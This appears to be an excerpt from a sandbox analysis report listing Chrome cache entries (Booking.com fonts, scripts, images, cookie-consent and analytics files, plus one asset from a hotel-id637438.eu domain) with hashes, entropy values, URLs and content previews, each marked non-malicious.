Entropy (8bit):	7.981444059067758
Encrypted:	false
SSDEEP:	768:RK06TIhBO4KiqAMXZOCq8aLmrXKkIYUUKK4RHU:R3OOBObKMXZOC3aoakIYU5K4O
MD5:	1CE83DBA9B028D54997F401FCC88EE88
SHA1:	0477A4C45C0697562761469726762D136E9EB832
SHA-256:	E63D9656C13BAF8786714C53106A0EC404CF8ED4A4B6038345D9029864A3ABB6
SHA-512:	0537A64D42FF43509B68BB779A59D4CF26693C0384DFED59995885732EDD3BBA3503DAA9224B8F56B4132A316E2A2DEB895FB0EE905BF910E053EE23812E4739
Malicious:	false
Reputation:	low
URL:	https://t-cf.bstatic.com/design-assets/assets/v3.58.1/fonts-brand/BookingExtraBold.woff
Preview:	wOFF......b................................GDEF..R.........!)!5GPOS..Sx...s..A...V.GSUB.._........N.s.>OS/2.......Y...`h.D.cmap...........>.v.ccvt ...X........"..Gfpgm.............0.6gasp..R.............glyf...`..?...r.\&..head.......6...6..Phhea....... ...$.t.3hmtx...T...4......+!loca.......K....<..vmaxp....... ... .B..name..Q.........!.Q9post..R........ ...Jprep...<....................m._.<...........K.....wCx....................x.c`d``...........`Y..A.....S.........P...X......./.a..........x.%.5.B....7....F.t...........y....[k..W=....b.h.l.....>L...x....O.....-....u..-...\.g...x.....7..O...g.mcP.m[..m....5o.&sS.o.7...dq.={.6...G.....n..3.!..Y..6....G......;...r.`..}\?N.@.........7.l.F...i..KZ.}.D...C.I+I'.....}.f/d.yRA2I2.%..Dk.?..x....$.B..j.@jT.yG&sw.y.L...RM.#...{..T.&.n..s.GM)z.J....k...b...s$..........4k..u.......>....r..9......Ran..A....$u.>.z)._!.^.I.7.x..vk....3.'7..~B_5&...bb....G.[..vw.o).u.4...r7Y.5..:{.{....0...w.....p...o.:.z4z....-......

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1197
Entropy (8bit):	5.250746419165476
Encrypted:	false
SSDEEP:	24:2dYwahJhWDCLf3fbeVZmFy6yCXCWX9JVLNpwtbMIhU7C06Fa5QcPm:cyJhbf3fbOKy6yCdtJWWFL6FSQ/
MD5:	E8209D74AD093F151954A3820C12E5D8
SHA1:	12FBF39039F0182026ABAF8B0A22E75C9BB316F7
SHA-256:	C80B9838465A2C5AA19E06C25631CD22D81DD8C76563875EBFB4D35304DFBA47
SHA-512:	4DC04BF54E06A26D78C6D71EAA392059B21EA8A01BF6C6B1EB808F9A01758C18DB18A28A9D74A841B3D5F2249787890944EC94EE0A6D4B2F99042138534800F2
Malicious:	false
Reputation:	low
URL:	https://xx.bstatic.com/static/img/favicon.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 -->.<svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 192 192" style="enable-background:new 0 0 192 192;" xml:space="preserve">.<style type="text/css">...squircle{fill:#003B95;}...bdot{fill:#FFFFFF;}.</style>.<path class="squircle" d="M37.8,0h116.5C175.1,0,192,16.9,192,37.8v116.5c0,20.9-16.9,37.8-37.8,37.8H37.8C16.9,192,0,175.1,0,154.2V37.8..C0,16.9,16.9,0,37.8,0z"/>.<g id="bdot-group">..<path class="bdot" d="M144.2,143.8c6.7,0,12.1-5.5,12.1-12.2c0-6.7-5.4-12.2-12.1-12.2c-6.7,0-12.1,5.4-12.1,12.2...C132.1,138.3,137.6,143.8,144.2,143.8z"/>..<path class="bdot" d="M106.7,91.9l-3.1-1.7l2.7-2.3c3.2-2.7,8.4-8.8,8.4-19.3c0-16.1-12.5-26.5-31.8-26.5H60.9h-2.5...c-5.7,0.2-10.3,4.9-10.4,10.6V144h35.4c21.5,0,35.4-11.7,35.4-29.8C118.7,104.4,114.2,96.1,106.7,91.9z M67.6,66c0-4.7,2-7,6.4

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7587)
Category:	downloaded
Size (bytes):	22439
Entropy (8bit):	5.356869529105063
Encrypted:	false
SSDEEP:	192:TvuGAFxsAdS1PCPhPkj3lZvk8o92yAoaJwVPMVEXL1v1jL1+g128OsiFUlRzUYeV:T1LAdSplZ88o92ZoOwVPySAYerhmeF
MD5:	F85B159D186FA0396E54E52DAD4C7173
SHA1:	32B6E3AB723B8F6E793FD342924C5CA773205F36
SHA-256:	A7A6E500037FFDC7D98BA112C3310A2E4124A8419D292A9F400AFD17143BA817
SHA-512:	8F6EB140BFE31656182CB19D8B64E686862F9B25AB1A4AE9A4C9CFF2805809B234F607CAE0E1B77F36B6F10C959225C20840A932E587CF3C2EBED008983680FC
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/js/js_LJ9sPWBNR2D0eRRYxhRHFL6A0Q5QAzGtkgL3lI5a5wM.js?scope=footer&delta=2&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ
Preview:	/* @license GNU-GPL-2.0-or-later https://www.drupal.org/licensing/faq */..(function($,Drupal,once){Drupal.behaviors.cookieproFocusHandler={attach:function attach(){var skipToContentLink=$('#skip-to-content');$(once('clickFocusHandler','body')).on('click','#onetrust-accept-btn-handler, #onetrust-reject-all-handler',function(){skipToContentLink.removeClass('focusable').blur();setTimeout(function(){skipToContentLink.addClass('focusable').blur();},10);});}};})(jQuery,Drupal,once);;..(function($,Drupal,window,document,once){Drupal.behaviors.backToTop={attach:function attach(context){var backToTopParent=$('.main-wrapper',context);var backToTopButtonMarkup=$("<button class=\"back-to-top__button\">\n <i class=\"back-to-top__icon icon icon--arrow-right\"></i>\n ".concat(Drupal.t('Back to top'),"\n </button>"));var isMobile=window.matchMedia('screen and (min-width: 0px) and (max-width: 575px)');function backToTopVisibility(){var scrollFromTop=this.pageYOffset\|\|this.docum

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	24
Entropy (8bit):	4.303508854797679
Encrypted:	false
SSDEEP:	3:KWhd+:NT+
MD5:	F3DAD90B250DE6856F681352CF71A56E
SHA1:	4CBC008F8B7DF970475A9B11F34B4D3882C93D68
SHA-256:	CB53FEE6C208A76F338B79263702B01CC9949101095F4F02F93D9904DA35328F
SHA-512:	D15F46D963588EE2DC5732F6D4AFBC212C55978FF3CA91C0B651BAF84BBA90120C00506EC18A2C3D711DE62196611DC74369C2D1A69E6879E98106754DBC2FA0
Malicious:	false
Reputation:	low
URL:	https://saa.booking.com/ec/e.html?name=ecid
Preview:	0tWKh3s97xGnsLpYDscOaQ1D

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUHaaatrllH5:aB
MD5:	81144D75B3E69E9AA2FA3E9D83A64D03
SHA1:	F0FBC60B50EDF5B2A0B76E0AA0537B76BF346FFC
SHA-256:	9B9265C69A5CC295D1AB0D04E0273B3677DB1A6216CE2CCF4EFC8C277ED84B39
SHA-512:	2D073E10AE40FDE434EB31CBEDD581A35CD763E51FB7048B88CAA5F949B1E6105E37A228C235BC8976E8DB58ED22149CFCCF83B40CE93A28390566A28975744A
Malicious:	false
Reputation:	low
URL:	https://www.booking.com/_etnht?cpr=https&ch=hotel-id637438.eu&cpa=&ad=ad%2Fsign-in
Preview:	GIF89a.............,..............;

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6665
Entropy (8bit):	4.802851903376328
Encrypted:	false
SSDEEP:	192:FVF7pSdDHj4w8psdXH73uRCwpY6vepSdDH3xCXbzJtV:tdwDHj4/2XH73uswpzowDH3xCXbzJtV
MD5:	1F6D685BF8C9C558A9031B1640F4BA59
SHA1:	63381A030005D4AADDFD37E411D2B9F0173AB313
SHA-256:	2BFE24A072135C56F92507BCD88309BADA5FBD4945A512274ABE547DEE9FB189
SHA-512:	0B18266CC328447CB8F52F387F36961952B1A1021977DAEF154981AC3107DF6E352C77EA9438E1DD04DA79A86C812F40B2EC7551C6ED0D8B84CFBB8F6430CEC7
Malicious:	false
Reputation:	low
Preview:	{"CookieSPAEnabled":false,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"PRODUCTION","Version":"202305.1.0","OptanonDataJSON":"a387750c-a080-4dd0-b2d1-7dbdb601bb14","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","BulkDomainCheckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"9778f4ab-6b4a-4e03-bdf8-86a5c037c4bf","Name":"US","Countries":["us"],"States":{},"LanguageSwitcherPlaceholder":{"no":"no","hi":"hi","de":"de","ru":"ru","fi":"fi","en-US":"en-US","bg":"bg","lt":"lt","lv":"lv","hr":"hr","fr":"fr","hu":"hu","default":"en-GB","zh-Hant":"zh-Hant","uk":"uk","sk":"sk","sl":"sl","id":"id","ca":"ca","sr":"sr","sv":"sv","ko":"ko","pt-BR":"pt-BR","ms":"ms","el":"el","en":"en","is":"is","it":"it","es-MX":"es-MX","es":"es","zh":"zh","et":"et","cs":"cs","ar":"ar","pt-PT":"pt-PT","vi":"vi","th":"th","es-

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6867), with no line terminators
Category:	downloaded
Size (bytes):	6867
Entropy (8bit):	5.44896364392026
Encrypted:	false
SSDEEP:	192:bzcXSlPcj5F7evoSL0w3Pv63sXm2tli/XYM45bx:3cZF7ulL0wXjWp4xx
MD5:	26C3C284EDADC317106C9358BAF83AB5
SHA1:	97D3B1696078BE1DB9093D1F10AEFCF74F9F0660
SHA-256:	618AD76495DD6D322F6E225FD6BEE12DB7AD4479D7E0AAF39CD76E0A368342AC
SHA-512:	AAB12907A3B247D2567EC41B684CA1DA7FC6C63DF1B04F65885A0B92EABAA6E540DA1317E41F3AB9FCC050ABA8CF539DB740A64F2E065D2DB39374CCC3B78350
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/shared/commons.9b20dd57c6f12e1beb80.js
Preview:	(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[223],{5607:(t,r,e)=>{t.exports="function"==typeof Array.from?Array.from:e(2508)},2508:t=>{t.exports=function(){var t=function(t){return"function"==typeof t},r=Math.pow(2,53)-1,e=function(t){var e=function(t){var r=Number(t);return isNaN(r)?0:0!==r&&isFinite(r)?(r>0?1:-1)*Math.floor(Math.abs(r)):r}(t);return Math.min(Math.max(e,0),r)},n=function(t){var r=t.next();return!Boolean(r.done)&&r};return function(r){"use strict";var i,a,o,c=this,h=arguments.length>1?arguments[1]:void 0;if(void 0!==h){if(!t(h))throw new TypeError("Array.from: when provided, the second argument must be a function");arguments.length>2&&(i=arguments[2])}var f=function(r,e){if(null!=r&&null!=e){var n=r[e];if(null==n)return;if(!t(n))throw new TypeError(n+" is not a function");return n}}(r,function(t){if(null!=t){if(["string","number","boolean","symbol"].indexOf(typeof t)>-1)return Symbol.iterator;if("undefined"!=typeof Symbol&&"iterator"in Symbol&&Symbol.iterator

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	5610
Entropy (8bit):	7.953964082832294
Encrypted:	false
SSDEEP:	96:lu8n3XukE5k51SjHL3HxK5zikiC3Bi92+XoO0bDniSo5qMEReFDvkXlSnNpUWKV/:/n3XHYkPSjr3Ho5zik/i97Xobb6Qe5Sz
MD5:	33517A9D145886E0C9D2265AD7D3D50B
SHA1:	878B4139B014E1BD8C4088B264B8656FADFEA194
SHA-256:	312D70EB66D45D5A673B734059138702508ADAD086F1CFC32050737271EB8158
SHA-512:	9042D0081B76E2D7471C9FD2ACF96DA2BC42330065532024C6F170BFACAB382FAB02273D4B2FF734331701F27C6247AC7166F60881F3824A7F6AB061486C56DB
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/tools%20revised%404x.png.webp?itok=h9bc2CpN
Preview:	RIFF....WEBPVP8X...........h..ALPH......G.......=..1..cDEDDDE.........u.k.s.k..>.}......T=.}_..Y..WUTTTUUT...Mf...y..."b...z..e...J+.z1d....e....V.1.....I.=W)..5..On1.......#TI.'...%.....fN.e{.....F....V.1..)I\|D.l.9o..;..P........f.}g.7....9jc(8VMGD.$....dNWL...M.....T.Z......a.7.._.f._...R.p.......i...m.> ..U.....hE+.......2.K..hf..}.Z=2 ..d..%.]....A$b...V.'T............&.\|.pA=...)z.... .....r...B...Dy[pf...M....D.R...d.7Q..7)/q..y.....&...O..\|-y.... 5.n.E..k..2...QYFy.z..E.$.S..(....e.7...s('=.3...Z...].......-J#Q@..".+z.[.V.`.....;&..Gf.\.....o..)%....f.Cg......pZ.HU..@.p...U:..\|2..e{...`.x..xq......l....b.C.b.(.AjV.y.h...w,...<o..Z...5...@8....:.VD.........@.....S.C... .}.\|ty...1..@..m[..c0\.apl,.2...+.C.JN..$....v..r.Z.....1fm//..1_...\N....\..K.Q.MT}j..^.9......bz,..MT....3.J!.y..xY....{..L.g.(..C.JF..R=\..>......./.f.X2.......dw.2.Ed....9.\u..DRTE$..P....t.*....u+\.Q.....#.L..<.8......f...j..6RR..R.6....8...`,4w.......Z..@...3.....mf..

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	5506
Entropy (8bit):	7.952906927060574
Encrypted:	false
SSDEEP:	96:lmNYS2CUBaqOJD7KfMcT0P9svRueUGj5m40QmvL21Q9Z/K:wNYPaqOJn8McT0CvR55m4vo2+y
MD5:	132FB9DC8ED343849F2C50209E51E4F2
SHA1:	F1FFF579A12E1A0C4C8F0AD96BC598B29E3EC191
SHA-256:	35E76D50871FFC428B4CCF4DAC17A6C3F4849C7ECBE4E4A4AA767633015002D3
SHA-512:	DF6423BFAB4EE77C07732954D6772F1CC0823CD3E887D095DBB8F07B5467CFD2B8BDA14AD37A480E5F382F607AB24DC80A564090E608B00723626E57ABB96E46
Malicious:	false
Reputation:	low
Preview:	RIFFz...WEBPVP8X...........d..ALPHx......l..z......D$........[%......+....K.. .....A$l...{/.w....$H.4...ax.8.+3.....@$.....m....,<..... .."...x.w.h.F$.\a.^..l.p!..o..qYs.O.<..a....?..).p/...,....@...Z....+3.'......O.{,E&}.....vo.. '..)0.(~.oH..,.f.U:..$..Z }..`.nOa.....t..?7.z.....ta.......P.vv...y..B.t..f#3(...1.........7.4Q...a.../.m.....&...#904tN]p..Q\|..[.+^.].gt..^;....?~....i...c.]..T.d..>.E....+U.Z.../.-R... m....c..E..{...V../..8.4.tkc...z-`.igH.G....J...}...%....<.<L+.W....?E....'Y...q...C.Ip.<.8.r..c.....8..L........<.i&...T....s....U' ........l`....Sy...lu..k,...v(.3U.... ^f.X..u.T....'...............Z.)u...c..n.R...\..r.A<.,..>...5.D.>[..ozm.s..o..5.U=H..{.....<.R.ij]5....<.!..e.na...M.l.......J.`.....fb..,#.gtR5Qf........I...O+-..E....67.~...\|....@.....k\|.........).&Q.~..,Zm.....OV.~.Y.6....\z.H.o)=.b.$4\..9..f...-D..........o.9#m.........K/....rP..&. dF3...t.Q.S`.MD....}.Q.!..m7...$.d..+&....P...Y;2.]j....}...U..M..I:.a..x.%

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0530507460466545
Encrypted:	false
SSDEEP:	3:CUHa/t121l/JtH5:gkBD
MD5:	57F187C7A868FAEAC558007A8EB6CB2E
SHA1:	11AB10AB109FDB53D91D444AC781101F5A6360C6
SHA-256:	AA03DC59BDCA72631D2301E4297CFA030BD31B907DC138E7B973D12311C90A22
SHA-512:	3844065E1DD778A05E8CC39901FBF3191DED380D594359DF137901EC56CA52E03D57EB60ACC2421A0EE74F0733BBB5D781B7744685C26FB013A236F49B02FED3
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,..............;

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	424
Entropy (8bit):	4.826210276654948
Encrypted:	false
SSDEEP:	12:YGKe4HaaNmddpHm/Bi6dRSMm9Er2sVsRihCFXU9CFXvM9:YdVH/NMzHa9m9Er20sRdVUMV09
MD5:	2CA62553DC3FDE3551E592A47A6371E9
SHA1:	ADB612AAF8EDBA6A1B3ED1FE807C620D0B2B67FD
SHA-256:	B9391F1017214481EBCD66649D521E043516C53119B2A7A4FA0E7690199AE5A2
SHA-512:	22468FF1B0A3EB6C7344A8C4CD24847CFA617A15377B123DE7744A18DEC68DB29EF53C03F6374026DE74FD798F677F90A72DFA365FC5B9B7D65146696BEDB2EC
Malicious:	false
Reputation:	low
URL:	https://dcinfos-cache.abtasty.com/v1/geoip?weather=false
Preview:	{"country_name":"United States","country_iso_code":"US","state":"New York","state_iso_code":"NY","city":"New York","city_id":5128581,"city_confidence":-1,"postal_code":"10118","latitude":40.7123,"longitude":-74.0068,"accuracy_radius":20,"time_zone":"America/New_York","least_specific_subdivision":{"name":"New York","iso_code":"NY"},"most_specific_subdivision":{"name":"New York","iso_code":"NY"},"ip_address":"8.46.123.33"}

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	3682
Entropy (8bit):	7.92812424722873
Encrypted:	false
SSDEEP:	96:dr5qrLKY8c6GFwv0oF+ZpXbgrFlr8sSNg3C5Cf22zw:rqa4JA+Zporh3wCf2Qw
MD5:	B3A978C7E4862C0DBD6BB0DC7A20EDDF
SHA1:	5D7D116286C2ADA055D64EF98BB07415F813B5F8
SHA-256:	20027B9F02E9E458181B66B9E39B0A2DCAE53B26EEEF3E98A03D834DD65566FF
SHA-512:	802B8D5A9D4253CE8DDBD5341B4BFCCE9FDA18266BCA6CEF76E00522424E4BBD5BBC038A58F9E8ABCA761E75AD9F7BFA6A6818740059E4F1C122BFCAB4709953
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/other%20discussions%20revised%404x.png.webp?itok=Kuku6ycL
Preview:	RIFFZ...WEBPVP8X...........l..ALPH"............i..i.fY.f.^...m.m^.m...>.}.fy.\|/._..t..E..Pj..4:);q.d.j...."0...:Y..x..e.u&iY.)......j..#d...o..;Y...(.q...o[Y...h..........6OJ5....=h.F.fm......U.......+Hp.g.Y....N?.....U79.E>..o4.h...LQ\|m........".Y.;..5p!.....q.g.X......K....c.5?.;h....q'M_kW..8..}g.......k.W.n.I#.".....9a<%.i.(tOy.....Qo.2h...$a...5.....Q.N..t..z(.....FE.U;.g..'.mA/X..b...Y.....>+...6.M2.....E{G.=......5.....0.Oh....."...}.m.\|3..FW..ER.Q.5.c....-.f.B....,k@.v..E......t(..b.......&.7..d<..Z".5.#.gr..J.B!'C..QyR}e.a..r...n.z.7.M$.Z..Z#...Wd.W].[..+.e....)..+f.%..2.O.#..8....W..9.....b#.V\~Fs...{.2.....R..R.&...d..9.+c.b...0....[. ..m....(..Wd.g....L..JSy....Zz.%...[u9".b..'....\.N.c...{1.G.d's..._..Gs..rD.m.=..a.a.....9..?`IA...........g/.~.=.......8Rx2...ir.=~..(;.....4H....t.....O..M...>.P.R..).._....x....<.3.NZph...nx.$..f<.r \|....C..p.w ..C.!.....G.iS.a...!..c\|.a7.z..}..A..P.2...9..,....`. jtS.x.D...[......6........

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	81
Entropy (8bit):	4.3493440438682995
Encrypted:	false
SSDEEP:	3:yionv//thPltXlfMLts0NyWn/NG8bp:6v/lhP/ZMRHNyWn/NG8bp
MD5:	1B6D2DE2867A3E11063BA25AA1CD4209
SHA1:	BD20B0E089F31F35CBA4D0FA7277E73AA74D944C
SHA-256:	95518CBEC0D55A574A9C8EF72A2A7D62AC0D40A4DE5DFE67A76A7D214DC8B743
SHA-512:	D30AC99B9140393CB2EA8EB09F0C69F6107CA5940DDF208B5EC1DD6D5ABDAB37FC60A892AA397579DA75B450965ADE6D37EE84C55550B42DD86F7AA26D99AB88
Malicious:	false
Reputation:	low
URL:	https://asanalytics.booking.com/fp/clear.png
Preview:	.PNG........IHDR.............."......sRGB.........IDAT..c`.......c*......IEND.B`.

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/us.png
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19782)
Category:	downloaded
Size (bytes):	40505
Entropy (8bit):	5.164869242857247
Encrypted:	false
SSDEEP:	768:fo2TZuGNhKLqa638zvmg3IYWCncFEG1/9kBZL7sadPEsdotL4t3MIkNpcyOmftgg:d0GN4q/kd14jHMFxJtbg8Xx+6U
MD5:	E719E006FCA4FFD6DF393691990113CF
SHA1:	0DCF615229EB1CB041E168CC6759DC58E29283BE
SHA-256:	93EE51630D48CCECE90183FCF180BA0AFE723E445BBBDC34E48E17EACFBFF0BE
SHA-512:	7F060CBED5FD943F2EA5E75B824FF583570769CF473335286E170ADAB2636ACDCA5BEEA0B3BFD97264D46EEB9B16F9A227FB74F53B6D316E749FCF2240357390
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/js/js_S8bPUfgzcWFzrUMOM-3BHpZUYOXgTP27W-z_c38abAg.js?scope=footer&delta=4&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ
Preview:	/* @license GNU-GPL-2.0-or-later https://www.drupal.org/licensing/faq */..(function($,Drupal,window,once){var progressBar=$('#scrolling-progress-bar');var isClickCT=$('body').hasClass('page-node-type-click-magazine-article');var isDesktop=window.matchMedia('screen and (min-width: 992px)').matches;var pageContent=$('.region__content');function getScrollingProgress(element){var coordinates=element.getBoundingClientRect();var headerHeight=$('.header').outerHeight(true);var highlightedRegionHeight=$('.region__highlighted').outerHeight(true);var footerHeight=$('.footer').outerHeight(true);var height=document.documentElement.scrollHeight-document.documentElement.clientHeight;var calculatedHeight=height-headerHeight-highlightedRegionHeight-footerHeight;var progressPercentage=0;if(isClickCT){var nodeHeaderHeight=$('.node__header').outerHeight(true);pageContent=$('.node__content');calculatedHeight=height-nodeHeaderHeight-footerHeight;}.progressBar.addClass('visible');if(coordinates.top<0){progr

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 261808
Category:	downloaded
Size (bytes):	55092
Entropy (8bit):	7.995965204805084
Encrypted:	true
SSDEEP:	1536:GU1wlZ5Su8dmY/T85UCRgQ0ItnpTDltT3hxcNU3MXXyK/:nGB6VCB0I7jhI+MXV
MD5:	6BF39376AE68C5F03B0A46144BB70D6A
SHA1:	6D7CAF5CAADD8969C5A844D811B5A9E0D8EAC40F
SHA-256:	DD4D2055C49E93EA0CF2ABA2BA16A610A5C800F0807CC372179F20C58ADEC19C
SHA-512:	3C9ED1E03319844DCB1350BFC9AB780F9A4256605816A1EA6752B9E5F04491A0BA312F5C70698D33E9677A919D8759D22A84B8DACE17B3492B6309099FFF46F4
Malicious:	false
Reputation:	low
URL:	https://cdn.evgnet.com/beacon/bookingdotcomb2b/booking_prod/scripts/evergage.min.js
Preview:	...........i{.F.0.........DQ..d..<.,.J...82'O.h..@.&H-.y~...^.X...d.{.;.."..^.....k.%m.b4.....9....77..<O.Y.&s>c.\|.M.[+t..(w..6.o>.....7..f....Mlk?.f..d.>~.c;.X..G....C.^3.y..6Kg..W.$[L.v6.oFy{.3.X.O#Y.#6..6.A.Z.6Os.......O9...[6...h..l6o.m{./....Ng....v...,..\|>.E....l.V.....hO.k..=....k..7..<.w..UnG.?JlY.=.....eS>._._..,..WapS.l&... .$...e.q0.z......3.G..t..`.....b.p.S.....t..;l:M.l..J..V...kX".....~......d...'.......'.4..t...3......^.@&...p7.N.z8d..zb.s......4.;+.e~yOV.y2.pYa..z.m.. ..e..y@M=\. o.>..&.....]D.`...X..b...j...mnF..q...l.....x4...>b.y6... .......4.1Y....E..Z..-;!l..6...Yv..p...g3.....m.../.y[aF{...Y......c...".h.4Zc...+.......Y..!O.py{.->.\|..~`./...<67k]I@.....{z.#.Y.V^..-..........".. ....wg:...~.S..t..~..C&......G.2...Uc.i\..6.d.6.3,G...(%...C....K.0..>{............. ....\n..[.z2.,....o..X.I;D......../..!.H.IN1......5P;.w.G...D!._..?..k5.ocw......%..`D.C...D].z.^.l=..p.6....\|.z......a..../.mC...APS...p......t.......Gp..z.6~..

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	206222
Entropy (8bit):	5.5327440266791905
Encrypted:	false
SSDEEP:	3072:/7/GLCzAj3AWb91C2K9finZeyiuk9jcNx3tbQkLoW36E3m:6CUjwsPrFnZeyiua4tckL/363
MD5:	2DACCFDE71E29C697F8B05A9C0C0F0CC
SHA1:	13342946F96A452F297EF92005F77BA868B492A2
SHA-256:	EAACAB9967F929E6DE7365027436C65181D3FCFF04D58E809F08A11708F1888A
SHA-512:	1F332F0BAEBFF87909BB4BF69AAFFBAE48FE7E4C3D5FD02BC0309F9D4F3A02E74D1348D68D9E05B4CCD819C72F14B2DB667F3D10D4C1CB05479E1FF1F140E391
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/main.1afc28a1a9a2da762946.js
